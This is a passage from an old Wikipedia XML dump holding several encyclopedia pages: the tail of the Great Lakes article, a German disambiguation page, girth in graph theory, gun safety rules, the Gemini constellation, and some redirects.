Other ecological problems in the Lakes and their surroundings have stemmed from urban sprawl, sewage disposal, and toxic industrial effluent.  These, of course, also affect aquatic food chains and fish populations.  Some of these glaring problem areas are what attracted the high-level publicity of Great Lakes ecological troubles in the 1960s and 1970s.  Evidence of chemical pollution in the Lakes and their tributaries now stretches back for decades.  In the late 1960s, the recurrent phenomenon of the surface of river stretches (see Ohio’s [[Cuyahoga River]]) catching fire, due to a combination of oil, chemicals, and combustible materials floating on the water’s surface, came to the attention of a public growing more environmentally aware.  Another aspect that caught popular attention was the “toxic blobs” (expanses of lake bed covered by various combinations of such substances as solvents, wood preservatives, coal tar, and metals) found in Lake Superior, the St. Clair River, and other portions of the Great Lakes region.

According to the authoritative bi-national source ''The Great Lakes: An Environmental Atlas and Resource Book'', &quot;Only pockets remain of the once large commercial fishery.&quot;

==Important cities along the lakes==
'''Lake Superior'''
*[[Duluth, Minnesota]]
*[[Thunder Bay, Ontario]]
*[[Sault Ste. Marie, Ontario]]
*[[Sault Ste. Marie, Michigan]]
*[[Marquette, Michigan]]
*[[Houghton, Michigan]]

'''Lake Michigan'''
*[[Green Bay, Wisconsin]]
*[[Manitowoc, Wisconsin]]
*[[Milwaukee, Wisconsin]]
*[[Chicago, Illinois]]
*[[Gary, Indiana]]
*[[Michigan City, Indiana]]
*[[Benton Harbor, Michigan]]
*[[Holland, Michigan]]
*[[Muskegon, Michigan]]
*[[Traverse City, Michigan]]
*[[Escanaba, Michigan]]

'''Lake Erie'''
*[[Monroe, Michigan]]
*[[Toledo, Ohio]]
*[[Sandusky, Ohio]]
*[[Cleveland, Ohio]]
*[[Erie, Pennsylvania]]
*[[Fort Erie, Ontario]]
*[[Buffalo, New York]]
*[[Detroit, Michigan]]
*[[Leamington, Ontario]]
*[[Windsor, Ontario]]

'''Lake Ontario'''
*[[Rochester, New York]]
*[[Oswego, New York]]
*[[Hamilton, Ontario]]
*[[Kingston, Ontario]]
*[[Toronto, Ontario]]
*[[Oshawa, Ontario]]
*[[St. Catharines, Ontario]]

'''Lake Huron'''
*[[Alpena, Michigan]]
*[[Bay City, Michigan]]
*[[Port Huron, Michigan]]
*[[Sarnia, Ontario]]
*[[Owen Sound, Ontario]]
*[[Collingwood, Ontario]]

==See also==
*[[Sixty Years' War]] for control of the Great Lakes
*[[International Boundary Waters Treaty]]

==External links==
*[http://www.cglg.org/ Council of Great Lakes Governors]
*[http://www.great-lakes.net/ Great Lakes Information Network]
*[http://www.glc.org/ Great Lakes Commission]
*EPA: [http://www.epa.gov/glnpo/ Great Lakes National Program Office]
*Environment Canada&amp;mdash;Ontario Region: [http://www.on.ec.gc.ca/greatlakes/default.asp?lang=En&amp;n=7E5E6AF1-1 Our Great Lakes]
*[http://www.midwestlakes.org/ Midwest Lakes Policy Center]
*[http://www.ijc.org/ International Joint Commission]
*[http://www.nature.org/greatlakes The Nature Conservancy's Great Lakes Program]
*[http://www.epa.gov/glnpo/atlas/index.html EPA's Great Lakes Atlas]
{{greatlakes}}
{{Region}}

[[Category:Great Lakes|*]]

[[zh-min-nan:Gō·-toā-ô·]]
[[ca:Grans Llacs d'Amèrica del Nord]]
[[cs:Velká jezera]]
[[cy:Y Llynnoedd Mawr]]
[[da:Store søer (Nordamerika)]]
[[de:Große Seen]]
[[et:Suur järvistu]]
[[es:Grandes Lagos]]
[[eo:Grandaj Lagoj]]
[[fr:Grands Lacs (Amérique du Nord)]]
[[gl:Grandes Lagos, América do Norte]]
[[ko:오대호]]
[[is:Vötnin miklu]]
[[it:Grandi Laghi (America)]]
[[he:הימות הגדולות]]
[[la:Lacus Magni]]
[[hu:Nagy-tavak]]
[[mk:Големите езера]]
[[nl:Grote Meren]]
[[ja:五大湖]]
[[no:De store sjøer]]
[[pl:Wielkie Jeziora Północnoamerykańskie]]
[[pt:Grandes Lagos]]
[[ru:Великие озёра]]
[[simple:Great Lakes]]
[[sk:Veľké kanadské jazerá]]
[[sl:Velika jezera]]
[[sr:Велика језера]]
[[fi:Suuret järvet]]
[[sv:Stora sjöarna]]
[[uk:Великі Озера]]
[[zh:五大湖]]</text>
    </revision>
  </page>
  <page>
    <title>Goethe</title>
    <id>12011</id>
    <revision>
      <id>15909719</id>
      <timestamp>2004-01-14T05:28:50Z</timestamp>
      <contributor>
        <username>Snoyes</username>
        <id>8289</id>
      </contributor>
      <minor />
      <comment>Reverted to last edit by Rmhermen</comment>
      <text xml:space="preserve">#REDIRECT [[Johann Wolfgang von Goethe]]</text>
    </revision>
  </page>
  <page>
    <title>German</title>
    <id>12012</id>
    <revision>
      <id>42051464</id>
      <timestamp>2006-03-03T13:39:11Z</timestamp>
      <contributor>
        <username>GilliamJF</username>
        <id>506179</id>
      </contributor>
      <comment>add one</comment>
      <text xml:space="preserve">'''German''' usually refers to: __NOTOC__

Anything related to [[Germany]] and its people, especially
*[[German language]]
*[[German people]], collectively or individually

*a citizen of the Federal Republic of [[Germany]], see [[German nationality law]]

'''German''' may also refer to:

People:
*[[Edward German]], a musical composer
*[[Lindsey German]], a British activist
*[[Michael German]], a British politician

Places:
*[[German, New York]], a town in the United States
*[[German Flatts, New York]]
*[[German Township, Pennsylvania]]
*[[German (parish)|German]] a parish in the [[Isle of Man]]

{{disambig}}

[[als:Deutsch]]
[[de:Deutsch]]
[[simple:German]]
[[th:เยอรมัน]]
[[zh:德意志]]</text>
    </revision>
  </page>
  <page>
    <title>Girth</title>
    <id>12013</id>
    <revision>
      <id>31397665</id>
      <timestamp>2005-12-15T00:00:46Z</timestamp>
      <contributor>
        <username>Nportlock</username>
        <id>565808</id>
      </contributor>
      <text xml:space="preserve">:''A [[Girth (tack)|girth]] is also a piece of equipment used to hold the saddle on a horse.''

'''Girth''' generally refers to the [[circumference]] of a cylindrical object, such as a tree trunk.

In [[graph theory]], the '''girth''' of a graph is the length of the shortest [[glossary of graph theory#Cycle|cycle]] contained in the graph. If the graph doesn't contain any cycles, its girth is defined to be [[infinity]].

For example, a 4-cycle (square) has girth 4. A grid has girth 4 as well, and a triangular mesh has girth 3.

A [[cubic graph]] of girth &lt;math&gt;g&lt;/math&gt; that is as small as possible is known as a &lt;math&gt;g&lt;/math&gt;-[[cage graph]].  The [[Petersen graph]] is the unique 5-cage (it is the smallest cubic graph of girth 5).  The [[Heawood graph]] is the unique 6-cage, and the [[Tutte eight cage]] is the unique 8-cage.

&lt;gallery&gt;
Image:Petersen graph.svg|The [[Petersen graph]], of girth 5
Image:Heawood graph.svg|The [[Heawood graph]], of girth 6
Image:Tutte eight cage.png|The [[Tutte eight cage]], of girth 8
&lt;/gallery&gt;

[[Category:Graph theory]]

[[pl:Obwód grafu]]</text>
    </revision>
  </page>
  <page>
    <title>Gun safety</title>
    <id>12015</id>
    <revision>
      <id>42025273</id>
      <timestamp>2006-03-03T07:58:14Z</timestamp>
      <contributor>
        <username>J-Star</username>
        <id>92220</id>
      </contributor>
      <minor />
      <comment>/* Point the muzzle away from non-targets */ Consistency edit</comment>
      <text xml:space="preserve">''(For discussions on politics concerning firearms and gun safety, see [[Gun Politics]] or [[Talk:Gun Politics]]. This page only deals with non-political aspects of gun safety.)''

'''Gun safety''' is a collection of rules and recommendations that can be applied when handling [[Firearm|firearms]]. The purpose of gun safety is to eliminate or minimize the risks of unintentional damage, injury and/or death caused by improper handling of firearms.

== Gun safety rules and mindset ==

[[Image:Gun_safety.jpg|thumb|Example of safe gun use. The gun is pointed at the ground and the handler's finger is off the trigger.]]

Gun safety training seeks to instill a certain mindset and appropriate habits, or rules. The mindset is that firearms are inherently dangerous and must always be handled with care. Handlers are taught to treat firearms with respect for their destructive capabilities, and strongly discouraged from playing or toying with firearms, a common cause of accidents.

The rules of gun safety follow from this mindset. While there are many variations, the following rules are those most commonly taught during gun safety training:

*Always treat firearms as if they are loaded, not safetied, and ready to fire.
*Always point the [[Muzzle (firearm)|muzzle]] away from anything and everything which you do not intend to fire upon.
*Always keep your fingers away from the trigger until you are ready to fire.
*Always be sure of your target and its surroundings.

=== Treat firearms as if they are loaded ===

This rule is a matter of proper mindset rather than a specific habit. Many firearm accidents result from the handler believing a firearm is emptied, safetied, or otherwise not ready to fire when in fact it is ready. If a handler always treats firearms as capable of being fired at any time, the handler is more likely to take precautions to prevent an unintentional discharge and to avoid damage or injury if one does occur.

The phrase &quot;The gun is always loaded&quot; is often used. The purpose is to discourage mental habits such as &quot;I know my gun is empty so (some unsafe practice) is OK.&quot; Inexperienced handlers often think this way and accidents can happen as a result. A gun safety instructor can respond to such reasoning by restating the rule: &quot;No, your gun is '''always''' loaded&quot;.

=== Point the muzzle away from non-targets ===

This rule is intended to minimize the damage caused by an unintended discharge. The first rule teaches that a firearm must be assumed to be ready to fire. This rule goes beyond that and says &quot;Since the firearm might fire, assume that it '''will''' and make sure no harm occurs when it does&quot;. 

A consequence of this rule is that any kind of playing or &quot;toying&quot; with firearms is prohibited. Playfully pointing firearms at people or other non-targets violates this rule.

Two natural &quot;safe&quot; directions to point the muzzle are upwards (at the sky) and downwards (at the ground). Both have their advantages and disadvantages. Firing at the ground may result in a [[ricochet]] or cause hazardous fragments to be flung at people or material. Aiming upwards eliminates this risk but replaces it with the risk that the bullet may cause damage when it comes down to the ground again. Indeed, several accidents have been caused by discharging firearms into the air. It is also possible that the muzzle will inadvertently be pointed at a non-target such as someone's head or an [[aircraft]]. [http://aviation-safety.net/news/newsitem.php?id=1361]

When passing a firearm to another person, it should be passed such that the muzzle of the weapon does not point at, or &quot;flag&quot;, the recipient or any bystander. If the situation permits it is often concidered good practice to show the firearm with the magazine removed, the breech unloaded and locked open before handing it over to the recipient. It is known as &quot;show clear&quot;.

=== Keep fingers off the trigger ===

This rule is intended to prevent an undesired discharge. Normally a firearm is discharged by pressing its [[trigger]]. A handler's finger may involuntary move for any of several reasons: being startled, not keeping full attention on body movements, or physiological reasons beyond conscious control such as [[spasm]]s. Handlers are therefore taught to minimize the harmful effects of such a motion, by keeping the finger off the trigger.

The trigger guard and area above the trigger of a firearm presents a natural point for a handler to keep their finger out straight alongside the weapon, so as not to violate this rule (see picture above).  A properly indexed trigger finger also helps remind the person holding the gun of the direction of the muzzle.

In [[popular culture]], such as [[Film|movies]] and [[Television|TV shows]], this rule is often violated, even by characters who would be trained in gun safety such as [[Soldier|military personnel]] or [[Police|law enforcement officers]].

=== Be sure of your target ===
 
This rule is intended to eliminate or minimize damage to non-targets when a firearm is intentionally discharged. Unintended damage may occur if a non-target is misidentified as a target, or if the bullet hits something or someone other than the intended target.

Handlers are taught that they must positively identify their target as valid. If the situation allows it, all of the above gun safety rules are to be observed until the target is identified.

Even when firing at a valid target, unintended targets may still be hit. A bullet may miss the intended target and hit something else. Alternatively, the bullet may go through the target and hit a non-target behind it. (Ammunition can be chosen to reduce this risk; see [[Terminal ballistics]], [[Stopping power]], [[Hollow point bullet]].) Thus, the handler must observe what is close to and behind the target. If non-targets are at risk of being hit by the bullet, the handler may have to refrain from firing. 

This rule may create situations that present dilemmas for a handler. Such situations may include for instance a police officer in a [[riot]] or a soldier in a situation where [[civilians]] are near the [[enemy]]. Indecision or misjudgment of the handler's abilities in such a situation may cause undesired outcomes, such as injury to the handler or the handler violating [[rules of engagement]] and causing unintended damage. To prevent such outcomes the handler must be properly trained. This makes it easier for the handler to make appropriate decisions, even if given little time and/or put under severe [[Stress (medicine)|stress]].

== Gun safety for firearms not in use ==

Gun safety for situations where firearms are not in use are intended to prevent access to and subsequent discharge of a firearm. Preventing access to firearms serves a double purpose in that it also protects the firearm from theft.

An effective method of preventing access to a functioning firearm is to store it disassembled and to keep the parts separated. If a certain part of a firearm is required for it to fire, the handler may remove that part from the firearm and keep it in a separate location. [[Ammunition]] may also be stored away from the firearm.  

Sometimes this rule is codified in law. For example, [[Sweden|Swedish]] law requires owners of firearms to store the firearms with the main body, the &quot;vital piece&quot;, and the ammunition in separate locations.

A [[Lock (device)|lock]] that prevents motion of the trigger, blocks the chamber or in any other way prevents the firearm from being discharged may be used for additional safety. This also makes the firearm less useful to thieves as the firearm cannot be used unless the lock is removed. Such locks are commonly designed so that they cannot be forcibly removed without permanently disabling the firearm. This method is considered less effective than keeping firearms locked in a safe or a gun cabinet since locks are more easily defeated than approved safes.

Most firearm experts do not promote the use of trigger locks. In most cases, the firearm can still be loaded and a round chambered with the lock in place.  In some cases, the firearm can even be fired with a trigger lock secured around the trigger guard.

If a firearm is intended to be used for self defence at home, special-purpose locking devices exist that allow the owner to store the fully-loaded firearm in a safe manner while still providing quick access to it. However, keeping a firearm in a continuous state of readiness to be fired presents certain operational problems as previously described, especially if children can gain access to the firearm. Therefore the owner should always consider taking further precautions from an early age in addition to the use of locking storage containers, such as teaching children gun safety as described herein from an early age.

== Protective gear and health issues ==

When discharged a firearm emits a very loud [[noise (industrial)|noise]], typically close to the handler's [[ear]]s. Over time this can cause hearing damage such as [[tinnitus]]. Hearing protection is recommended to prevent this.

Firearms emit hot gases, powder, and other debris when fired. Some weapons, such as [[Semi-automatic firearm|semi-automatic]] and [[Automatic firearm|fully automatic]] firearms, typically eject spent [[cartridge (weaponry)|cartridge]] casings at high speed. Ejected casings are also commonly very hot from the discharge. Any of these may hurt the handler through burning or impact damage. [[Eye]]s are particularly vulnerable to this type of damage. Therefore eye protection is recommended.

Hearing and eye protection can also be used to protect observers, bystanders, team members or others that may be close to the handler.

Another problem, highlighted in more recent years, is that of toxic effects from ammunition or cleaning agents. [[Lead (element)|Lead]] bullets can release lead vapour when fired, and older ammunition may have [[mercury (element)|mercury]]-based [[primer]]s. Lead accumulates in range backstops, often as fine powder which is easily inhaled, and ranges must be carefully decontaminated. Indoor ranges require good [[ventilation]] to remove pollutants. Ranges always require extensive decontamination if they are to be decommissioned.

Lead, copper and other metals will also be released when a firearm is handled and cleaned. Highly aggressive solvents and other agents used to remove lead and powder fouling may present a hazard to health. Good ventilation, washing oneself and cleaning the space where the gun was handled lessens the risk of unnecessary exporure.

== Impairment ==

A firearm should never be used while under the influence of [[alcoholic beverage|alcohol]] or [[Psychoactive drug|drug]]s, even legal [[medical prescription|prescription]] or [[over the counter]] drugs. 

An exception can be made for drugs that are definitely known not to impair judgment or to cause drowsiness or involuntary motions.  If unsure if your medicine could be a problem, find out before handling firearms.

Note that [[alcoholic beverage|Alcohol]] may affect one's judgment of risk (a [[complex task]]), even after drinking relatively small amounts.  This also applies to regular drinkers who may not feel physically affected by alcohol.  The complex split-second decision whether or not to quickly fire at a moving target requires a clear mind.  

Unfortunately, alcohol begins to affect judgement well before it begins to slow down one's reflex time.

== Correct ammunition ==

The handler must be certain the firearm is loaded only with ammunition that is approved for use with that particular firearm. Using ammunition of wrong [[caliber]], or using an ammunition type for which the firearm is not intended to be used with, may result in the firearm malfunctioning or becoming damaged. This may cause the firearm to explode, resulting in severe or even fatal damage to the handler. 

Ammunition may be manufactured manually, so called &quot;hand-loading&quot;. It may be very difficult for an unexperienced or unskilled handler to discern what is the equivalent ammunition type for hand-loaded ammunition. As such, using hand-loaded ammunition without being experienced in that field presents an elevated risk of a firearm-ammunition mismatch, with possible consequences as mentioned above.

== Construction, modification and general condition of firearms ==

Modifying firearms to better fit their intended purpose is a fairly common practice, but not without its pitfalls. Firearms of any sort operate briefly at enormous pressure during firing, and enormous loads are placed on the pressure-bearing parts. If these parts are weakened by modifications or adaptions (such as drilling to fit telescope mounts, slings etc) there is a real risk of explosion. Similarly, if safety devices or mechanism parts such as sear engagement points, safety catches, de-cockers or trigger interrupters are modified or poorly adapted, great risks become apparent. Semi-automatic rifles may fire from an unlocked breech, allowing a case explosion next to the face of the firer; a handgun may fire unexpectedly or even &quot;burst-fire&quot; like a machinegun. The potential for harm is obvious, along with the legal implications for those who modify firearms without a great deal of training and expertise.

Even without &quot;metalwork&quot; modifications a gun can still be rendered unsafe. A great deal of design effort goes into making sure a firearm can only be assembled one way, as it was intended to be, but occasionaly it is found to be possible to assemble a firearm in such a manner as to render it unsafe. This knowledge is often only bought to light following a tragedy resulting from it. Therefore, anything more than routine field-stripping requires great care and preferably instruction from somebody competent in such practices.

The overall condition of a firearm is equally important. Rusted, heavily fouled or blocked barrels may bulge or explode (especially [[shotgun]]s), and mechanisms may fail due to contamination or corrosion. Any firearm should be kept clean and thoroughly checked for proper funtionality before live-firing. If there is any doubt as to its condition, it should not be used until it has been properly repaired.

In the United Kingdom, firearms must be '''proofed''' before sale or use. This takes place at the [[Birmingham Proof House|Birmingham Gun Barrel Proof House]], where each individual firearm is held in a test mount and fired with a severely overcharged round of [[ammunition]]. If it survives, it is inspected for distortion or other damage and if found to be free of such, stamped with the appropriate [[proof mark]]. Re-proofing will be required after modification to pressure-bearing parts to ensure continued safety.

== Gun safety for children ==

Children who are generally considered too young to be allowed to handle firearms at all have a different set of rules which can be taught to them:

*Stop.
*Don't touch.
*Leave the area.
*Tell an adult. 

The purpose of these rules is to prevent children from inadvertently handling firearms. These rules are part of the [[Eddie Eagle]] program developed by the [[National Rifle Association]] for preschoolers through 6th graders.  If a child discovers a firearm, they should seek an adult to remove access to it as soon as possible.  This may include turning it over to an appropriate law enforcement agency.  

Older youth (age may vary per program) may take part in a program for safe rifle handling, such as promoted by the various organizations:

* [[Boy Scouts of America]]
* [[Americans for Gun Safety Foundation]]
* [[National Rifle Association]] 
* [[Civilian Marksmanship Program]]

== History and teachers of gun safety ==

While gun safety in different forms has existed since the creation of firearms, modern gun safety is often credited to [[Jeff Cooper (colonel)|Jeff Cooper]]. Being influential in the modern handling of firearms, he formalised the above mentioned rules of gun safety. 

Other teachers of gun safety include [[Massad Ayoob]], Clint Smith, Chuck Taylor, Jim Crews and [[Ignatius Piazza]].

One widely-known firearms safety program in the [[United States]] is the [[Eddie Eagle]] program developed by the [[National Rifle Association]].

== External links ==

* [http://www.thegunzone.com/therules.html Controversy over exact choice of rules for gun safety] (specifically whether or not &quot;the gun is always loaded&quot; is an intelligent rule).
* [http://www.nrahq.org/education/guide.asp NRA Gun Safety Rules]. Also deals with issues such as eye and ear protection.
* [http://www.nrahq.org/safety/eddie/ Eddie Eagle], an [[National Rifle Association|NRA]] program to teach gun safety to children as described above.

[[Category:Firearms]]
[[Category:Safety]]</text>
    </revision>
  </page>
  <page>
    <title>Gratis</title>
    <id>12017</id>
    <revision>
      <id>34954859</id>
      <timestamp>2006-01-13T00:09:12Z</timestamp>
      <contributor>
        <username>Mrtea</username>
        <id>349005</id>
      </contributor>
      <comment>ah rv: many articles link &quot;Free&quot; to &quot;Gratis&quot;. Suppose a disambiguation link would make more sense then</comment>
      <text xml:space="preserve">#redirect [[Gratis versus Libre]]</text>
    </revision>
  </page>
  <page>
    <title>Gun/Politics</title>
    <id>12018</id>
    <revision>
      <id>15909726</id>
      <timestamp>2002-08-24T09:40:09Z</timestamp>
      <contributor>
        <username>The Epopt</username>
        <id>30</id>
      </contributor>
      <comment>#REDIRECT [[Gun politics]]</comment>
      <text xml:space="preserve">#REDIRECT [[Gun politics]]</text>
    </revision>
  </page>
  <page>
    <title>Gemini</title>
    <id>12020</id>
    <revision>
      <id>40205619</id>
      <timestamp>2006-02-18T23:20:23Z</timestamp>
      <contributor>
        <username>Pepsidrinka</username>
        <id>659391</id>
      </contributor>
      <minor />
      <comment>[[WP:AWB|AWB assisted]] clean up + typo fix</comment>
      <text xml:space="preserve">:''For other uses, see [[Gemini (disambiguation)]]''
{{Infobox Constellation|
name = Gemini |
abbreviation = Gem |
genitive = Geminorum |
symbology = the [[Twin|Twins]] |
RA = 7 |
dec= 20 |
areatotal = 514 |
arearank = 30th |
numberstars = 4 |
starname = [[Pollux (star)|Pollux]] (&amp;beta; Gem) |
starmagnitude = 1.1 |
meteorshowers =
*[[Geminids]]
*[[Rho Geminids]] |
bordering =
*[[Lynx (constellation)|Lynx]]
*[[Auriga (constellation)|Auriga]]
*[[Taurus (constellation)|Taurus]]
*[[Orion (constellation)|Orion]]
*[[Monoceros]]
*[[Canis Minor]]
*[[Cancer (constellation)|Cancer]] |
latmax = 90 |
latmin = 60 |
month = February |
notes=}}
'''Gemini''' ([[Latin]] for ''[[twin]]s'', symbol [[Image:Gemini_symbol.png|18px]], [[Unicode]] ♊) is one of the [[constellation]]s of the [[zodiac]].  It is part of the winter sky, lying between [[Taurus (constellation)|Taurus]] to the west and the dim [[Cancer (constellation)|Cancer]] to the east, with [[Auriga (constellation)|Auriga]] and the near-invisible [[Lynx (constellation)|Lynx]] to the north and [[Monoceros]] and [[Canis Minor]] to the south. The [[Gemini program]] is named for it.

==Notable features==
Gemini includes two bright stars, named after the two twins, who correspond to the [[Dioscuri]] in [[Greek mythology]] - [[Castor (star)|Castor]] (&amp;alpha;), a pretty telescopic [[binary star|binary]] (actually sextuple), and [[Pollux (star)|Pollux]] (&amp;beta;), which is brighter and more southwesterly.  The other stars are relatively dim - only one, [[Gamma Geminorum|&amp;gamma; Gem]] (Alhena) is ever seen from a large city - and trace out a rectangle to the southeast.

The planet [[Pluto (planet)|Pluto]] was discovered in this constellation in 1930, near the star [[Delta Geminorum|&amp;delta; Gem]] (Wasat).

==Notable deep sky objects==
The brightest deep sky object of Gemini is [[Open Cluster M35|M35]], an open cluster of 5th magnitude, 2 800 light-years from earth. It is northwest of &amp;eta; Geminorum, near the western edge of the constellation.

==Mythology==
Since this constellation is easily viewable as two parallel stick figures [http://www.coldwater.k12.mi.us/lms/planetarium/myth/Gem.gif], considering faint stars visible to the naked eye, it was associated with the myth of [[Castor and Polydeuces]] (also known as the [[Dioscuri]]). A myth of these twins heavily concerns [[cattle]] theft, and may be connected to early views of the [[Milky Way]], as a herd of [[dairy]] [[cow]]s or cattle, by which they are situated.

The orientation of the constellation can vary (since they readily form stick figures whether leaning right or left), though the twins are usually viewed as left leaning. However, when right leaning, one of the twins resides in the Milky Way, and the other outside it, a situation making it appear that one of the twins is ''stealing the cattle'', and the other is observing. In this situation, together with the area of the sky that is deserted (now considered as the new and extremely faint constellations [[Camelopardalis]] and [[Lynx (constellation)|Lynx]]), and the other features of the area in the [[Zodiac]] sign of Gemini (i.e. [[Orion constellation|Orion]], [[Auriga (constellation)|Auriga]], and [[Canis Major]]), this may be the origin of the myth of the cattle of [[Geryon]], which forms one of [[The Twelve Labours]] of [[Herakles]].

===Astrology===
The Western [[astrological sign]] Gemini of the [[tropical zodiac]] ([[May 21]] - [[June 20]]) differs from the astronomical constellation and the Hindu astrological sign of the [[Sidereal astrology|sidereal zodiac]] ([[June 20]] - [[July 20]]).

In some cosmologies, Gemini is associated with the [[classical element]] [[Air (classical element)|Air]], and thus called an Air Sign (with [[Libra]] and [[Aquarius]]). It is also one of the four mutable signs (along with [[Virgo]], [[Sagittarius]], and [[Pisces]]). Its polar opposite is [[Sagittarius]]. It is the [[domicile (astrology)|domicile]] of [[Mercury (planet)|Mercury]]. Each astrological sign is assigned a part of the body, viewed as the seat of its power. Gemini rules the nervous system, the lungs, the hands and arms. The symbol for Gemini is the [[twin (mythology)|twins]].

==Gemini==
:Stars with proper names:
:* '''[[Castor (star)|Castor]]''' (66/&amp;alpha; Gem) &amp;ndash; sextuple 1.98, 2.88

:* '''[[Pollux (star)|Pollux]]''' (78/&amp;beta; Gem) 1.16

:* ([[Gamma Geminorum|24/&amp;gamma; Gem]]) 1.93 '''Alhena''' or '''''Almeisan'''''
:*: &lt; ? ''al-han'ah''  The brand (on the neck of a camel)
:*: &lt; ? '' al-maisan''  The shining one

:* ([[Delta Geminorum|55/&amp;delta; Gem]]) 3.50 '''Wasat''' [''Wesat'']
:*: &lt;  &amp;#1608;&amp;#1587;&amp;#1591; &amp;#1575;&amp;#1604;&amp;#1587;&amp;#1605;&amp;#1575;  ''wasa&amp;#355; as-sam&amp;#257;''  Middle of the sky

:* ([[Epsilon Geminorum|27/&amp;epsilon; Gem]]) 3.06 '''Mebsuta''' [''Melucta, Meboula'']
:*: &lt; &amp;#1575;&amp;#1604;&amp;#1605;&amp;#1576;&amp;#1587;&amp;#1608;&amp;#1591;&amp;#1577;  ''al-mabs&amp;#363;&amp;#355;a[h]''  The outstretched (paw of Leo)

:* ([[Zeta Geminorum|43/&amp;zeta; Gem]]) 4.01 '''Mekbuda'''
:*: &lt; &amp;#1575;&amp;#1604;&amp;#1605;&amp;#1602;&amp;#1576;&amp;#1608;&amp;#1590;&amp;#1577;  ''al-maqb&amp;#363;&amp;#273;&amp;#807;a[h]'' The pulled in (paw)

:* ([[Eta Geminorum|7/&amp;eta; Gem]]) 3.31 '''Propus''' [''Praepes''] or '''''Tejat Prior'''''
:*: &lt; &amp;#960;&amp;#961;&amp;#972;&amp;#960;&amp;#959;&amp;#965;&amp;#962;  The fore foot

:* ([[Iota Geminorum|60/&amp;iota; Gem]]) (or ''Propus'', see [[Eta Geminorum|&amp;eta; Gem]]) 3.78
:* ([[Mu Geminorum|13/&amp;mu; Gem]]) 2.87 '''Tejat Posterior''' or '''''Nuhatai''''' or '''''Calx''''' or '''''Pish Pai'''''

:* ([[Xi Geminorum|31/&amp;xi; Gem]]) 3.35 '''''Alzirr'''''
:*: &lt; &amp;#1575;&amp;#1604;&amp;#1586;&amp;#1585;  ''az-zarr/az-zir''

:* [[1 Geminorum|1 Gem]] (or ''Propus'', see [[Eta Geminorum|&amp;eta; Gem]]) 4.16

:Stars with Bayer designations:
:: [[Theta Geminorum|34/&amp;theta; Gem]] 3.60; [[Kappa Geminorum|77/&amp;kappa; Gem]] 3.57; [[Lambda Geminorum|54/&amp;lambda; Gem]] 3.58; [[Nu Geminorum|18/&amp;nu; Gem]] 4.13; [[Omicron Geminorum|71/&amp;omicron; Gem]] 4.89; [[Pi Geminorum|80/&amp;pi; Gem]] 5.14; [[Rho Geminorum|62/&amp;rho; Gem]] 4.16; [[Sigma Geminorum|75/&amp;sigma; Gem]] 4.23; [[Tau Geminorum|46/&amp;tau; Gem]] 4.41; [[Upsilon Geminorum|69/&amp;upsilon; Gem]] 4.06; [[Chi Geminorum|&amp;chi; Gem]] 4.94; [[Phi Geminorum|83/&amp;phi; Gem]] 4.97; [[Omega Geminorum|42/&amp;omega; Gem]] 5.20; [[65 Geminorum|65/b Gem]] 5.01; [[76 Geminorum|76/c Gem]] 5.30; [[36 Geminorum|36/d Gem]] 5.28; [[38 Geminorum|38/e Gem]] 4.73; [[74 Geminorum|74/f Gem]] 5.04; [[81 Geminorum|81/g Gem]] 4.89; [[57 Geminorum|57/A Gem]] 5.04
:Stars with Flamsteed designations:
:: [[2 Geminorum|2 Gem]] 6.67; [[3 Geminorum|3 Gem]] 5.75; [[4 Geminorum|4 Gem]] 6.88; [[5 Geminorum|5 Gem]] 5.83; [[6 Geminorum|6/BU Gem]] 6.51; [[8 Geminorum|8 Gem]] 6.09; [[9 Geminorum|9 Gem]] 6.24; [[10 Geminorum|10 Gem]] 6.58; [[11 Geminorum|11 Gem]] 6.91; [[12 Geminorum|12 Gem]] 6.95; [[15 Geminorum|15 Gem]] 6.54; [[15 Geminorum|15 Gem]] 9.21; [[16 Geminorum|16 Gem]] 6.22; [[19 Geminorum|19 Gem]] 6.38; [[20 Geminorum|20 Gem]] 6.26; [[23 Geminorum|23 Gem]] 6.73; [[25 Geminorum|25 Gem]] 6.45; [[26 Geminorum|26 Gem]] 5.20; [[28 Geminorum|28 Gem]] 5.42; [[30 Geminorum|30 Gem]] 4.49; [[32 Geminorum|32 Gem]] 6.47; [[33 Geminorum|33 Gem]] 5.87; [[35 Geminorum|35 Gem]] 5.68; [[37 Geminorum|37 Gem]] 5.74 &amp;ndash; nearby; [[39 Geminorum|39 Gem]] 6.20; [[40 Geminorum|40 Gem]] 6.40; [[41 Geminorum|41 Gem]] 5.73; [[44 Geminorum|44 Gem]] 6.00; [[45 Geminorum|45 Gem]] 5.47; [[47 Geminorum|47 Gem]] 5.75; [[48 Geminorum|48 Gem]] 5.85; [[49 Geminorum|49 Gem]] 7.06; [[51 Geminorum|51 Gem]] 5.07; [[52 Geminorum|52 Gem]] 5.84; [[53 Geminorum|53 Gem]] 5.75; [[56 Geminorum|56 Gem]] 5.09; [[58 Geminorum|58 Gem]] 6.17; [[59 Geminorum|59 Gem]] 5.77; [[61 Geminorum|61 Gem]] 5.94; [[63 Geminorum|63 Gem]] 5.20; [[64 Geminorum|64 Gem]] 5.07; [[68 Geminorum|68 Gem]] 5.27; [[70 Geminorum|70 Gem]] 5.58; [[79 Geminorum|79 Gem]] 6.53; [[82 Geminorum|82 Gem]] 6.18; [[85 Geminorum|85 Gem]] 5.38

{{Zodiac}}
{{ConstellationsListedByPtolemy}}
{{ConstellationList}}

== External links ==
{{Commons|Gemini}}
* [http://www.allthesky.com/constellations/gemini/ The Deep Photographic Guide to the Constellations: Gemini]
* [http://160.114.99.91/astrojan/gemini.htm The clickable Gemini]

[[Category:Astrological signs]]
[[Category:Gemini constellation| ]]

[[an:Cheminucos]]
[[ast:Xéminis]]
[[ca:Bessons]]
[[cs:Blíženci (souhvězdí)]]
[[da:Tvillingerne]]
[[de:Zwillinge (Sternbild)]]
[[eo:Ĝemeloj]]
[[es:Géminis]]
[[fa:دوپیکر]]
[[fi:Kaksoset (tähdistö)]]
[[fr:Gémeaux]]
[[id:Gemini]]
[[it:Gemelli (astronomia)]]
[[ja:ふたご座]]
[[ka:მარჩბივი]]
[[ko:쌍둥이자리]]
[[ku:Cêwî (birç)]]
[[la:Gemini (sidus)]]
[[lt:Dvyniai (astronomija)]]
[[hu:Ikrek (csillagkép)]]
[[nl:Tweelingen]]
[[pl:Bliźnięta (gwiazdozbiór)]]
[[pt:Gemini (constelação)]]
[[ru:Близнецы (созвездие)]]
[[sk:Súhvezdie Blíženci]]
[[sv:Tvillingarna]]
[[th:กลุ่มดาวคนคู่]]
[[tr:İkizler burcu]]
[[zh:双子座]]</text>
    </revision>
  </page>
  <page>
    <title>Go Down Moses</title>
